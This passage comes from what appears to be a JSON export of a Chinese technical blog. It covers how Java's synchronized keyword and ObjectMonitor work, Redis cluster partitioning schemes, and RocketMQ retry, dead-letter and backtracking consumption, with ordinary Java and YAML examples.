操作，所以单个线程获取锁的情况使用偏向锁效率更高。\n在看下如果把偏向锁使用在轻量级锁的场景下对比：\n重量级锁 升级为重量级锁时，锁标志的状态值变为“10”，此时 Mark Word 中存储的是指向重量级锁的指针，此时等待锁的线程都会进入阻塞状态。\njava 对象与 monitor 的关联图\n锁升级 整体的锁状态升级流程如下：\n锁粗化和锁消除 锁粗化就是将多个连续的加锁、解锁操作连接在一起，扩展成一个范围更大的锁，避免频繁的加锁解锁操作。 Java 虚拟机在 JIT 编译时（可以简单理解为当某段代码即将第一次被执行时进行编译，又称即时编译），通过对运行上下文的扫描，经过逃逸分析，去除不可能存在共享资源竞争的锁，通过这种方式消除没有必要的锁，可以节省毫无意义的请求锁时间 小结 偏向锁通过对比 Mark Word 解决加锁问题，避免执行 CAS 操作。而轻量级锁是通过用 CAS 操作和自旋来解决加锁问题，避免线程阻塞和唤醒而影响性能。重量级锁是将除了拥有锁的线程以外的线程都阻塞。\n前知识-moniter 监视器 每个对象都存在着一个 Monitor 对象与之关联。执行 monitorenter 指令就是线程试图去获取 Monitor 的所有权，抢到了就是成功获取锁了；执行 monitorexit 指令则是释放了 Monitor 的所有权。\nObjectMonitor 类 monitor 是用 c++实现的叫 objectmonitor。\njava 实例对象里面记录了指向这个 monitor 的地址，这个 c++的 monitor 对象里面记录了当前持有这个锁的线程 id。\n在 HotSpot 虚拟机中，Monitor 是基于 C++的 ObjectMonitor 类实现的，其主要成员包括：\n_owner：指向持有 ObjectMonitor 对象的线程 _WaitSet：存放处于 wait 状态的线程队列，即调用 wait() 方法的线程 _EntryList：存放处于等待锁 block 状态的线程队列 _count：约为_WaitSet 和 _EntryList 的节点数之和 _cxq: 多个线程争抢锁，会先存入这个单向链表 _recursions: 记录重入次数 1ObjectMonitor() { 2 _header = NULL; 3 _count = 0; 4 _waiters = 0, 5 _recursions = 0; // 线程重入次数 6 _object = NULL; // 存储 Monitor 对象 7 _owner = NULL; // 持有当前线程的 owner 8 _WaitSet = NULL; // wait 状态的线程列表 9 _WaitSetLock = 0 ; 10 _Responsible = NULL ; 11 _succ = NULL ; 12 _cxq = NULL ; // 单向列表 13 FreeNext = NULL ; 14 _EntryList = NULL ; // 处于等待锁状态 block 状态的线程列表 15 _SpinFreq = 0 ; 16 _SpinClock = 0 ; 17 OwnerIsThread = 0 ; 18 _previous_owner_tid = 0; 19 } 更多源码分析 ，可以参考 这里。\nmoniter 对象是什么时候实例化的？ 在 Java 对象实例化的时候，ObjectMonitor 对象和 Java 对象一同创建和销毁。\n协作 监视器 Monitor 有两种同步方式：互斥与协作。多线程环境下线程之间如果需要共享数据，需要解决互斥访问数据的问题，监视器可以确保监视器上的数据在同一时刻只会有一个线程在访问。\n什么时候需要协作？比如：\n“\n一个线程向缓冲区写数据，另一个线程从缓冲区读数据，如果读线程发现缓冲区为空就会等待，当写线程向缓冲区写入数据，就会唤醒读线程，这里读线程和写线程就是一个合作关系。JVM 通过 Object 类的 wait 方法来使自己等待，在调用 wait 方法后，该线程会释放它持有的监视器，直到其他线程通知它才有执行的机会。一个线程调用 notify 方法通知在等待的线程，这个等待的线程并不会马上执行，而是要通知线程释放监视器后，它重新获取监视器才有执行的机会。如果刚好唤醒的这个线程需要的监视器被其他线程抢占，那么这个线程会继续等待。Object 类中的 notifyAll 方法可以解决这个问题，它可以唤醒所有等待的线程，总有一个线程执行。\n”\n如上图所示，一个线程通过 1 号门进入 Entry Set（入口区），如果在入口区没有线程等待，那么这个线程就会获取监视器成为监视器的 Owner，然后执行监视区域的代码。如果在入口区中有其它线程在等待，那么新来的线程也会和这些线程一起等待。线程在持有监视器的过程中，有两个选择，一个是正常执行监视器区域的代码，释放监视器，通过 5 号门退出监视器；还有可能等待某个条件的出现，于是它会通过 3 号门到 Wait Set（等待区）休息，直到相应的条件满足后再通过 4 号门进入重新获取监视器再执行。\n注意：\n“\n当一个线程释放监视器时，在入口区和等待区的等待线程都会去竞争监视器，如果入口区的线程赢了，会从 2 号门进入；如果等待区的线程赢了会从 4 号门进入。只有通过 3 号门才能进入等待区，在等待区中的线程只有通过 4 号门才能退出等待区，也就是说一个线程只有在持有监视器时才能执行 wait 操作，处于等待的线程只有再次获得监视器才能退出等待状态。\n”\n其他问题 notify 执行之后立马唤醒线程吗？\n其实 hotspot 里真正的实现是：退出同步块的时候才会去真正唤醒对应的线程；不过这个也是个默认策略，也可以改成在 notify 之后立马唤醒相关线程。\nnotify() 或者 notifyAll() 调用时并不会真正释放对象锁，必须等到 synchronized 方法或者语法块执行完才真正释放锁。\nsynchronized 锁的是什么？ Synchronized 原理 Synchronized 是 Java 中解决并发问题的一种最常用的方法，也是最简单的一种方法。\nSynchronized 的作用主要有三个：\n确保线程互斥的访问同步代码 保证共享变量的修改能够及时可见 有效解决重排序问题。 从语法上讲，Synchronized 总共有三种用法：\n修饰普通方法 修饰静态方法 修饰代码块 我们将下面这段代码反编译看一下：\n1public class SynchronizedDemo { 2 3 public void syncDemoMethod(){ 4 5 synchronized (this){ 6 System.out.println(\u0026#34;syncDemoMethod\u0026#34;); 7 } 8 9 } 10} 11 12# 编译生成 class 文件 -g 生成所有调试信息 13javac -g synchronizedDemo.java 14# 反编译出字节码指令 -v 输出附加信息 15javap -v synchronizedDemo synchronized 实现的原理就在上图中的两条字节码指令中。下面是这两条指令的文档：\nmonitorenter (https://docs.oracle.com/javase/specs/jvms/se16/html/jvms-6.html#jvms-6.5.monitorenter) monitorexit (https://docs.oracle.com/javase/specs/jvms/se16/html/jvms-6.html#jvms-6.5.monitorexit) monitorenter\n根据文档所述：\n每个对象有一个监视器锁（monitor）。当且仅当 monitor 被占用时才会被锁定。执行 monitorenter 指令的线程尝试获取 monitor 的所有权，过程如下：\n如果 monitor 的进入数为 0，则该线程进入 monitor，然后将进入数设置为 1，该线程即为 monitor 的所有者。 如果线程已经占有该 monitor，只是重新进入，则进入 monitor 的进入数加 1. 如果其他线程已经占用了 monitor，则该线程进入阻塞状态，直到 monitor 的进入数为 0，再重新尝试获取 monitor 的所有权。 monitorexit\n根据文档所述：\n执行 monitorexit 的线程必须是 objectref 所对应的 monitor 的所有者。 指令执行时，monitor 的进入数减 1，如果减 1 后进入数为 0，那线程退出 monitor，不再是这个 monitor 的所有者。其他被这个 monitor 阻塞的线程可以尝试去获取这个 monitor 的所有权。 synchronized 方法\n1public class SynchronizedDemo { 2 3 public synchronized void syncDemoMethod() { 4 5 System.out.println(\u0026#34;syncDemoMethod\u0026#34;); 6 7 } 8} synchronized 方法的字节码指令没有中没有 monitorenter 和 monitorexit 。\nsyhchronized 方法的同步是一种隐式的方式来实现 ：当方法调用时，调用指令将会检查方法的 ACC_SYNCHRONIZED 访问标志是否被设置，如果设置了，执行线程将先获取 monitor，获取成功之后才能执行方法体，方法执行完后再释放 monitor。在方法执行期间，其他任何线程都无法再获得同一个 monitor 对象\n多线程访问场景总结\n当两个并发线程访问同一个对象 object 中的这个 synchronized(this) 同步代码块时，一个时间内只能有一个线程得到执行。另一个线程必须等待当前线程执行完这个代码块以后才能执行该代码块。 当一个线程访问 object 的一个 synchronized(this) 同步代码块时，另一个线程仍然可以访问该 object 中的非 synchronized(this) 同步代码块。 当一个线程访问 object 的一个 synchronized(this) 同步代码块时，其他线程对 object 中所有其它 synchronized(this) 同步代码块的访问将被阻塞。 当一个线程访问 object 的一个 synchronized(this) 同步代码块时，它就获得了这个 object 的对象锁。其它线程对该 object 对象所有同步代码部分的访问都被暂时阻塞。 以上规则对其它对象锁同样适用。 需要特别说明：对于同一个类 A，线程 1 争夺 A 对象实例的对象锁，线程 2 争夺类 A 的类锁，这两者不存在竞争关系。\nsynchronized 阻塞线程的方式\nsynchronized 同步块对同一条线程来说是可重入的，不会出现自己锁死自己的情况 synchronized 同步块在已进入的线程执行完之前，会阻塞后面其他线程的进入，阻塞的方式是将 Java 的线程映射到操作系统的原生线程之上，通过操作系统来阻塞或唤醒一条线程。 借用操作系统意味着需要从用户态转换到核心态，状态转换会耗费很多的处理器时间，因此 synchronized 是一个重量级操作。通常，虚拟机自身会对其做一些优化，比如在通知操作系统阻塞线程之前加入一段自旋等待过程，避免频繁切入到核心态。\n小结\nJVM 规范规定 JVM 基于进入和退出 Monitor 对象来实现方法同步和代码块同步，但两者的实现细节不一样。\n代码块同步是使用monitorenter和monitorexit字节码指令实现 方法同步是 根据该 ACC_SYNCHRONIZED标示符来实现 monitorenter指令是在编译后插入到同步代码块的开始位置，而monitorexit是插入到方法结束处和异常处， JVM 要保证每个monitorenter必须有对应的 monitorexit 与之配对。\n任何对象都有一个 monitor 与之关联，当且一个monitor 被持有后，它将处于锁定状态。线程执行到 monitorenter 指令时，将会尝试获取对象所对应的 monitor 的所有权，即尝试获得对象的锁。\n总结 我们通过分析 JAVA 对象的内存布局了解了对象头，顺藤摸瓜了解了 markword的结构 以及 objectMonitor（监视器）。\n从 markword 中认识了与锁 相关的重要信息，了解到锁的类型和区别以及锁相关的优化和升级过程。\n从 ObjectMonitor 了解到它是 synchronized 的核心实现，以及对于线程协作上的具体逻辑。\n从 synchronized 所修饰的代码的字节码指令中分析出 monitorenter 和 monitorexit 指令，它又与我们上面了解到的 objectMonitor 密不可分。\n同时总结出了 synchronized 的使用场景以及线程协作时的常见问题 。利用总结的知识，围绕问题较全面地回答了 “synchronized 锁的是什么？”\n为什么 wait() 和 notify() 需要搭配 synchonized 关键字使用 ？ 剖析 1 public static void main(String[] args) { 2 3 SynchronizedDemo obj = new SynchronizedDemo(); 4 obj.notify(); 5 } 如果我们直接执行对象的 notify/wait 等方法时会报错，报错信息如下：\n这里显示异常类型为： IlleagalMonitorStateException\n我们看一下 JDK 对方法的注释\n意思是同一时刻只有一个线程可以获得对象的监视器锁（monitor），如果当前线程没有获得对象的监视器锁则抛出 IlleagalMonitorStateException 异常。\n表明如果我们直接调用 wait/notify 等方法是不能获得监视器锁的，只有先获得监视器锁才行，所以在使用 wait/notify 等方法时要配合 synchronized 先获得监视器锁（monitor），然后调用这些方法。\n而一个线程获得对象监视器锁有三种方法，也就是加 synchronized 的三种方式：\n修饰普通方法 synchronized 代码块 修饰静态方法（给类加锁） 参考 https://blog.csdn.net/qq_36434742/article/details/106854061 http://chickenman.cn/archives/708 https://www.zhihu.com/question/52116998 https://www.cnblogs.com/LemonFive/p/11248248.html https://www.zhihu.com/question/55075763 https://www.heapdump.cn/article/2966044 https://tech.meituan.com/2018/11/15/java-lock.html https://tech.youzan.com/javasuo-yu-xian-cheng-de-na-xie-shi/ https://xiaomi-info.github.io/2020/03/24/synchronized/ https://www.cnblogs.com/aspirant/p/11470858.html https://www.zhihu.com/question/57794716 https://www.cnblogs.com/paddix/p/5367116.html ","date":"2022-02-15T09:25:38Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-02-15-synchronized-suo-de-shi-shen-me/cover.jpg","permalink":"/p/2022-02-15-synchronized-suo-de-shi-shen-me/","title":"synchronized 锁的是什么？"},{"content":"概述 在 Redis 3.0 之前，集群方案一般为两种：\n客户端分区方案 代理方案 3.0 之后官方提供了专有的集群方案 Redis Cluster。\n将数据集分散到多个节点上，每个节点负责整体的一部分，即为数据分区。分区就会涉及到分区规则，Redis 常用的是哈希分区规则，哈希分区规则比较常见的有\n节点取余分区 一致性 hash 算法 虚拟槽分区 客户端分区 也叫客户端分片（Smart Client）如下图所示，为一个客户端分区方案。\n通过 sentinel 实现集群高可用，分区逻辑在客户端实现\n优点是：分区逻辑可控。缺点是：需要自己处理数据路由、高可用、故障转移等问题。\n分区规则可用 节点取余 hash\n节点取余 hash 节点取余方式优点：\n配置简单：对数据进行哈希，然后取余 节点取余方式缺点：\n数据节点伸缩时，导致数据迁移 迁移数量和添加节点数据有关，建议翻倍扩容 代理方案 代理分区方案一般由中间件实现 例如早已开源的 Codis，下图是 Codis 的架构图：\ncodis-proxy 是无状态的，可以比较容易的搭多个实例，达到高可用性和横向扩展。\n对 Java 用户来说，可以使用基于 Jedis 的实现 Jodis ，来实现 proxy 层的 HA：\n它会通过监控 zookeeper 上的注册信息来实时获得当前可用的 proxy 列表，既可以保证高可用性； 也可以通过轮流请求所有的 proxy 实现负载均衡。 这种方案有很多优点，因为支持原生 redis 协议，所以客户端不需要升级，对业务比较友好。并且升级相对平滑，可以起多个 Proxy 后，逐个进行升级。\n“\nCodis 是一个分布式 Redis 解决方案，对于上层的应用来说，连接到 Codis Proxy 和连接原生的 Redis Server 没有显著区别 （不支持的命令列表）, 上层应用可以像使用单机的 Redis 一样使用，Codis 底层会处理请求的转发，不停机的数据迁移等工作，所有后边的一切事情，对于前面的客户端来说是透明的，可以简单的认为后边连接的是一个内存无限大的 Redis 服务。\n”\n但是缺点是，因为会多一次跳转，会有性能开销。\n这里我们再讨论另外一种 分区规则：一致性 hash 算法\n一致性 hash 算法 上面讨论的节点取余分区方式的主要缺点是：数据节点伸缩时，导致数据迁移，换句话说，当缓存服务器数量发生变化时，可能会导致大量缓存同一时间失效，几乎所有缓存的位置都会发生改变。 所以 迁移数量和添加节点数据有关，建议翻倍扩容\n一致性 hash 算法在一定程度上解决了这个问题，它的实现思路是：为系统中每个节点分配一个 token, 范围是 0 到 2 的 32 次方，这些 token 构成一个哈希环，如下图所示。\n每一个数据节点分配一个 token 范围值，这个节点就负责保存这个范围内的数据。数据读写执行节点查找操作时，先根据 key 计算 hash 值，然后顺时针找到第一个大于等于该哈希值的 token 节点（沿顺时针方向遇到的第一个服务器）。\n优点：服务器的数量如果发生改变，并不是所有缓存都会失效，而是只有部分缓存会失效\n缺点：\n加减节点会造成哈希环中部分数据 无法命中，需要手动处理或者忽略这分部数据。 当使用少量节点 时，节点变化将大范围影响哈希环 中数据映射，不适合少量数据节点 的分布式方案。 普通的 一致性哈希分区在增减节点时需要增加一倍或减去一半节点才能保证数据和负载的均衡。 上述缺点中第二、三点尤其重要，原因是缓存分布的极度不均匀（负载不均衡），这种情况被称之为 hash 环的偏斜\n应该怎样防止 hash 环的偏斜呢？一致性 hash 算法中使用“虚拟节点”解决了这个问题。\n“虚拟节点”是”实际节点”（实际的物理服务器）在 hash 环上的复制品，一个实际节点可以对应多个虚拟节点。\n例如：我们以 2 个副本 NodeA、NodeB 为例，为每台服务器计算三个虚拟节点，于是可以分别计算 “Node A#1”、“Node A#2”、“Node A#3”、“Node B#1”、“Node B#2”、“Node B#3”的哈希值，于是形成六个虚拟节点：\n当然，如果你需要，也可以虚拟出更多的虚拟节点。引入虚拟节点的概念后，缓存的分布就均衡多了。hash 环上的节点就越多，缓存被均匀分布的概率就越大。\nRedis Cluster 在简介 Redis Cluster 之前，先聊一聊它采用的分区规则，即虚拟槽分区\n虚拟槽分区 Redis Cluster 采用虚拟槽分区，所有的键根据哈希函数映射到 0～16383 个整数槽内，计算公式 slot = CRC16(key) \u0026amp; 16383，每个节点负责维护一部分槽以及槽所映射的键值数据。采用大范围槽的主要目的是为了方便数据拆分和集群扩展\n当前集群有 5 个节点，每个节点平均大约负责 3276 个槽。由于采用高质量的哈希算法，每个槽所映射的数据通常比较均匀，将数据平均划分到 5 个节点进行数据分区。\n虚拟槽分区特点：\n解耦数据和节点之间的关系，简化了节点扩容和收缩难度 节点自身维护槽的映射关系，不需要客户端或者代理服务维护槽分区元数据。 可以对数据打散，又可以保证数据分布均匀 Redis Cluster Redis Cluster 集群节点最小配置 6 个节点以上（3 主 3 从），其中主节点提供读写操作，从节点作为备用节点，不提供请求，只作为故障转移使用。 自动将数据进行分片，每个 master 上放一部分数据 提供内置的高可用支持，部分 master 不可用时，还是可以继续工作的 集群由 N 组主从 Redis Instance 组成。主可以没有从，但是没有从 意味着主宕机后主负责的 Slot 读写服务不可用。一个主可以有多个从，主宕机时，某个从会被提升为主，具体哪个从被提升为主，协议类似于 Raft。\n如何检测主宕机？\nRedis Cluster 采用 quorum+心跳的机制。从节点的角度看，节点会定期给其他所有的节点发送 Ping，cluster-node-timeout（可配置，秒级）时间内没有收到对方的回复，则单方面认为对端节点宕机，将该节点标为 PFAIL 状态。通过节点之间交换信息收集到 quorum 个节点都认为这个节点为 PFAIL，则将该节点标记为 FAIL，并且将其发送给其他所有节点，其他所有节点收到后立即认为该节点宕机。从这里可以看出，主宕机后，至少 cluster-node-timeout 时间内该主所负责的 Slot 的读写服务不可用。\n与 Sentinal 的区别？\nRedis Sentinal 着眼于高可用，在 master 宕机时会自动将 slave 提升为 master，继续提供服务。 Redis Cluster 着眼于扩展性，在单个 redis 内存不足时，使用 Cluster 进行分片存储。 参考 https://codeantenna.com/a/qWY48A0q83 https://github.com/CodisLabs/codis https://www.zsythink.net/archives/1182 https://mp.weixin.qq.com/s/aIP9jHPysTn1LNzz9F85zQ ","date":"2022-01-25T10:12:53Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-25-redis-fen-bu-shi-jie-jue-fang-an/cover.jpg","permalink":"/p/2022-01-25-redis-fen-bu-shi-jie-jue-fang-an/","title":"Redis 分布式解决方案"},{"content":"","date":"2022-01-21T03:05:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-21-ci-pan-gu-tai-ying-pan-hun-he-ying-pan-de-qu-bie/cover.jpg","permalink":"/p/2022-01-21-ci-pan-gu-tai-ying-pan-hun-he-ying-pan-de-qu-bie/","title":"磁盘、固态硬盘、混合硬盘的区别"},{"content":"消息重投 “\n生产者在发送消息时，同步消息失败会重投，异步消息有重试，oneway 没有任何保证。消息重投保证消息尽可能发送成功、不丢失，但可能会造成消息重复，消息重复在 RocketMQ 中是无法避免的问题。消息重复在一般情况下不会发生，当出现消息量大、网络抖动，消息重复就会是大概率事件。另外，生产者主动重发、consumer 负载变化也会导致重复消息。如下方法可以设置消息重试策略：\nretryTimesWhenSendFailed: 同步发送失败重投次数，默认为 2，因此生产者会最多尝试发送 retryTimesWhenSendFailed + 1 次。不会选择上次失败的\u0026gt;broker，尝试向其他 broker 发送，最大程度保证消息不丢。超过重投次数，抛出异常，由客户端保证消息不丢。当出现 RemotingException、\u0026gt;MQClientException 和部分 MQBrokerException 时会重投。 retryTimesWhenSendAsyncFailed: 异步发送失败重试次数，异步重试不会选择其他 broker，仅在同一个 broker 上做重试，不保证消息不丢。 retryAnotherBrokerWhenNotStoreOK: 消息刷盘（主或备）超时或 slave 不可用（返回状态非 SEND_OK），是否尝试发送到其他 broker，默认 false。十分重要消息可以开启。 ”\n此外，只有 普通消息 具有发送重试机制，顺序消息是没有的。\nretryTimesWhenSendFailed 同步发送失败策略\n1DefaultMQProducer producer = new DefaultMQProducer(\u0026#34;pg\u0026#34;); 2producer.setNamesrvAddr(\u0026#34;rocketmqOS:9876\u0026#34;); 3// 设置同步发送失败时重试发送的次数，默认为 2 次 4producer.setRetryTimesWhenSendFailed(3); 5// 设置发送超时时限为 5s，默认 3s 6producer.setSendMsgTimeout(5000); 在我们 Spring Cloud Stream + Spring Cloud Alibaba RocketMQ 的 例子的配置里，我们可以这样配置：\n通过源码可以看到，它的默认值是 2：\nretryTimesWhenSendAsyncFailed 异步发送失败策略\n1DefaultMQProducer producer = new DefaultMQProducer(\u0026#34;pg\u0026#34;); 2producer.setNamesrvAddr(\u0026#34;rocketmqOS:9876\u0026#34;); 3// 指定异步发送失败后不进行重试发送 4producer.setRetryTimesWhenSendAsyncFailed(0); 在我们 Spring Cloud Stream + Spring Cloud Alibaba RocketMQ 的 例子的配置里，我们可以这样配置：\n通过源码可以看到，它的默认值也是 2：\nretryAnotherBrokerWhenNotStoreOK 消息刷盘失败策略\n消息刷盘超时（ Master 、 Slave ），默认是不会将消息尝试发送到其他 Broker。对于重要消息可以通过在 Broker 的配置文件设置 retryAnotherBrokerWhenNotStoreOK 属性为 true 来开启。\n在我们 Spring Cloud Stream + Spring Cloud Alibaba RocketMQ 的 例子的配置里，我们可以这样配置：\n消息重试 “\nConsumer 消费消息失败后，要提供一种重试机制，令消息再消费一次。Consumer 消费消息失败通常可以认为有以下几种情况：\n由于消息本身的原因，例如反序列化失败，消息数据本身无法处理（例如话费充值，当前消息的手机号被注销，无法充值）等。这种错误通常需要跳过这条消息，再消费其它消息，而这条失败的消息即使立刻重试消费，99%也不成功，所以最好提供一种定时重试机制，即过 10 秒后再重试。 由于依赖的下游应用服务不可用，例如 db 连接不可用，外系统网络不可达等。遇到这种错误，即使跳过当前失败的消息，消费其他消息同样也会报错。这种情况建议应用 sleep 30s，再消费下一条消息，这样可以减轻 Broker 重试消息的压力。 RocketMQ 会为每个消费组都设置一个 Topic 名称为“%RETRY%+consumerGroup”的重试队列（这里需要注意的是，这个 Topic 的重试队列是针对消费组，而不是针对每个 Topic 设置的），用于暂时保存因为各种异常而导致 Consumer 端无法消费的消息。考虑到异常恢复起来需要一些时间，会为重试队列设置多个重试级别，每个重试级别都有与之对应的重新投递延时，重试次数越多投递延时就越大。RocketMQ 对于重试消息的处理是先保存至 Topic 名称为“SCHEDULE_TOPIC_XXXX”的延迟队列中，后台定时任务按照对应的时间进行 Delay 后重新保存至“%RETRY%+consumerGroup”的重试队列中。\n”\n消费者消费某条消息失败后，会根据消息重试机制将该消息重新投递，若达到重试次数后消息还没有成功被消费，则消息将被投入死信队列。一条消息无论重试多少次，这些重试消息的 Message ID 不会改变。\nsuspendCurrentQueueTimeMillis 同步消费（顺序消息）消息模式下消费失败后再次消费的时间间隔。默认值：1000 ms\n在我们 Spring Cloud Stream + Spring Cloud Alibaba RocketMQ 的 例子的配置里，我们可以这样配置：\n顺序消息的重试是无休止的，不间断的，直至消费成功，所以，对于顺序消息的消费， 务必要保证应用能够及时监控并处理消费失败的情况，避免消费被永久性阻塞。\n顺序消息没有发送失败重试机制，但具有消费失败重试机制\nMaxReconsumeTimes 无序消息（包括普通消息、延时消息、定时消息和事务消息）的最大重试次数可通过自定义参数 MaxReconsumeTimes 取值进行配置。默认值为 16 次，该参数取值无最大限制，建议使用默认值。\n间隔时间根据重试次数阶梯变化，取值范围：1 秒~2 小时。不支持自定义配置。\n若最大重试次数小于等于 16 次，则间隔时间按照无序消息重试间隔时间阶梯变化。若最大重试次数大于 16 次，则超过 16 次的间隔时间均为 2 小时。\ndelayLevelWhenNextConsume 异步消费消息模式下消费失败重试策略：\n-1, 不重复，直接放入死信队列\n0,broker 控制重试策略\n0,client 控制重试策略\n默认值：0.\n在我们 Spring Cloud Stream + Spring Cloud Alibaba RocketMQ 的 例子的配置里，我们可以这样配置：\n死信队列 当一条消息初次消费失败，消息队列会自动进行消费重试；达到最大重试次数后，若消费依然失败，则表明消费者在正常情况下无法正确地消费该消息，此时，消息队列不会立刻将消息丢弃，而是将其发送到该消费者对应的特殊队列中。\n正常情况下无法被消费的消息称为 死信消息（Dead-Letter Message），存储死信消息的特殊队列称为 死信队列（Dead-Letter Queue）。\n对于 无序消息集群消费 下的重试消费，默认允许每条消息最多重试 16 次，如果消息重试 16 次后仍然失败，消息将被投递至 死信队列\n特征 不会再被消费者正常消费 有效期与正常消息相同，均为 3 天，3 天后会被自动删除 特性 一个死信队列对应一个 Group ID， 而不是对应单个消费者实例。名称为 %DLQ%consumerGroup@consumerGroup 如果一个 Group ID 未产生死信消息，则不会为其创建相应的死信队列 一个死信队列包含了对应 Group ID 产生的所有死信消息，不论该消息属于哪个 Topic 参考 https://github.com/apache/rocketmq/blob/master/docs/cn/features.md https://help.aliyun.com/document_detail/43490.html#table-4i1-8kq-6vt https://github.com/alibaba/spring-cloud-alibaba/blob/rocketmq/spring-cloud-alibaba-docs/src/main/asciidoc-zh/rocketmq-new.adoc https://www.codeleading.com/article/57335926159/ https://gitbook.cn/books/5d340810c43fe20aeadc88db/index.html ","date":"2022-01-18T10:59:23Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-18-zi-ding-xiang-xia-xue-xi-rocketmq-shi-xiao-xi-zhong-tou-he-x/cover.jpg","permalink":"/p/2022-01-18-zi-ding-xiang-xia-xue-xi-rocketmq-shi-xiao-xi-zhong-tou-he-x/","title":"自顶向下学习 RocketMQ（十）：消息重投和消息重试"},{"content":"定义 “\n回溯消费是指 Consumer 已经消费成功的消息，由于业务上需求需要重新消费，要支持此功能，Broker 在向 Consumer 投递成功消息后，消息仍然需要保留。并且重新消费一般是按照时间维度，例如由于 Consumer 系统故障，恢复后需要重新消费 1 小时前的数据，那么 Broker 要提供一种机制，可以按照时间维度来回退消费进度。RocketMQ 支持按照时间回溯消费，时间维度精确到毫秒。\n”\nDemo 我们仍然是利用 Spring Cloud Stream 的编程模型 + Spring Cloud Alibaba RocketMQ 来实现。\n理论 在消费时，可以设置一个字段 ConsumeFromWhere（源码位置在：org.apache.rocketmq.common.consumer.ConsumeFromWhere），从哪开始消费。可选参数，去掉 Deprecated 的，剩下的就是\n1public enum ConsumeFromWhere { 2 CONSUME_FROM_LAST_OFFSET, 3 CONSUME_FROM_FIRST_OFFSET, 4 CONSUME_FROM_TIMESTAMP, 5} CONSUME_FROM_LAST_OFFSET：从最后的偏移量开始消费 CONSUME_FROM_FIRST_OFFSET：从最小偏移量开始消费 CONSUME_FROM_TIMESTAMP：从某个时间开始消费 我们需要设置从某个时间开始消费，即配置 CONSUME_FROM_TIMESTAMP 并设置好具体的时间点。\n实现 首先还是看一下配置文件\n1server: 2 port: 8080 3 servlet: 4 context-path: /mq-example 5 6spring: 7 8 application: 9 name: mq-example 10 cloud: 11 stream: 12 bindings: 13 14 input-backtracking: 15 content-type: application/json 16 destination: test-topic3 17 group: backtracking-consumer-group 18 19 # 定义 name 为 output 的 binding 生产 20 output-order: 21 content-type: application/json 22 destination: test-topic3 23 24 rocketmq: 25 # RocketMQ Binder 配置项，对应 RocketMQBinderConfigurationProperties 类 26 binder: 27 # 配置 rocketmq 的 nameserver 地址 28 name-server: 127.0.0.1:9876 29 group: rocketmq-group 30 bindings: 31 output-order: 32 # RocketMQ Producer 配置项，对应 RocketMQProducerProperties 类 33 producer: 34 #group: producer-group # 生产者分组 35 sync: true # 是否同步发送消息，默认为 false 异步。 36 input-backtracking: # 回溯消息配置 37 # com.alibaba.cloud.stream.binder.rocketmq.properties.RocketMQConsumerProperties 38 consumer: 39 consumeFromWhere: CONSUME_FROM_TIMESTAMP 40 consumeTimestamp: 20220117110148 41 enabled: true # 是否开启消费，默认为 true 42 broadcasting: false # 是否使用广播消费，默认为 false 使用集群消费 这里我们仍然用之前的 ouput-order 作为生产者，生产消息。\n消息者配置上主要注意 input-backtracking 节点中的属性配置：\nconsumeFromWhere 即上文提到的从哪儿开始消费，这里我们指定时间消费 consumeTimestamp 即指定的时间点 程序入口：\n1@SpringBootApplication 2@EnableBinding({ MySource.class}) 3public class MqBootstrapApplication { 4 public static void main(String[] args) { 5 SpringApplication.run(MqBootstrapApplication.class); 6 } 7 8} 要加上 @EnableBinding\nMySource:\n1public interface MySource { 2 3 @Output(\u0026#34;output-order\u0026#34;) 4 MessageChannel output4Order(); 5 6 @Input(\u0026#34;input-backtracking\u0026#34;) 7 MessageChannel inputBackTracking(); 8 9} controller 生产消息：\n1@GetMapping(\u0026#34;/produce\u0026#34;) 2 public void produceMsg() { 3 4 Map\u0026lt;String, Object\u0026gt; headers = Maps.newHashMapWithExpectedSize(16); 5 headers.put(MessageConst.PROPERTY_DELAY_TIME_LEVEL, 2); 6 headers.put(MessageConst.PROPERTY_TAGS, \u0026#34;test03\u0026#34;); 7 8 Order order = Order.builder().id(1L).desc(\u0026#34;test\u0026#34;).build(); 9 Message message = MessageBuilder.createMessage(order, new MessageHeaders(headers)); 10 mySource.output4Order().send(message); 11 12 } ReceiveService 消费消息：\n1 2@Service 3@Log4j2 4public class ReceiveService { 5 6 @StreamListener(\u0026#34;input-backtracking\u0026#34;) 7 public void receiveBackTrackingInput(String receiveMsg, GenericMessage message, @Headers Map headers) { 8 9 log.info(\u0026#34;接收到回溯消息：{}\u0026#34;, receiveMsg); 10 11 } 12 13} 测试 可以先调用 controller 生产消息，或者不用 Demo 中的生产者生产消息，找一个之前发过消息的 topic , 看一下它的消息轨迹，找到存储时间\n如果你用之前发过消息的 topic 记得修改配置文件中的 topic名称 ：\n确认找到的这条消息已经被消费过（因为要测回溯，至少是二次消费），将 consumeTimestamp 的时间配置在 存储时间之后。\n这时启动项目，观察 ReceiveService 的输出：\n1 接收到回溯消息：{\u0026#34;id\u0026#34;:1,\u0026#34;desc\u0026#34;:\u0026#34;test\u0026#34;} 证明消息回溯消费成功。\n参考 https://github.com/alibaba/spring-cloud-alibaba/blob/rocketmq/spring-cloud-alibaba-docs/src/main/asciidoc-zh/rocketmq-new.adoc https://www.niewenjun.com/2020/05/09/fen-bu-shi/rocketmq/#toc-heading-29 ","date":"2022-01-17T06:52:31Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-17-zi-ding-xiang-xia-xue-xi-rocketmq-jiu-hui-su-xiao-fei/cover.jpg","permalink":"/p/2022-01-17-zi-ding-xiang-xia-xue-xi-rocketmq-jiu-hui-su-xiao-fei/","title":"自顶向下学习 RocketMQ（九）：回溯消费"},{"content":"RocketMQ 5.0 在了解事务消息原理之前，先说点版本相关的事情，我们的 demo 和原码分析是以 4.9 版本为基础的，而 RocketMQ 的最新版本已经是 5.0 了，看一下 RocketMQ 5.0 的最新进展，从里程碑上来看目前是在 alpha 阶段。\n功能上，看下官宣：\n不知道以后阿里云上商业版本和开源版本能不能对齐，但从架构上功能上确实比 5.0 之前的有很大调整。至于在云原生领域 是否和 apache pulsar (https://pulsar.apache.org/) 呈 PK 之势，就让我们拭目以待吧。\n事务流程 我们再回顾一下事务流程\n事务消息发送步骤如下：\n生产者将半事务消息发送至消息队列 RocketMQ 版服务端。 消息队列 RocketMQ 版服务端将消息持久化成功之后，向生产者返回 Ack 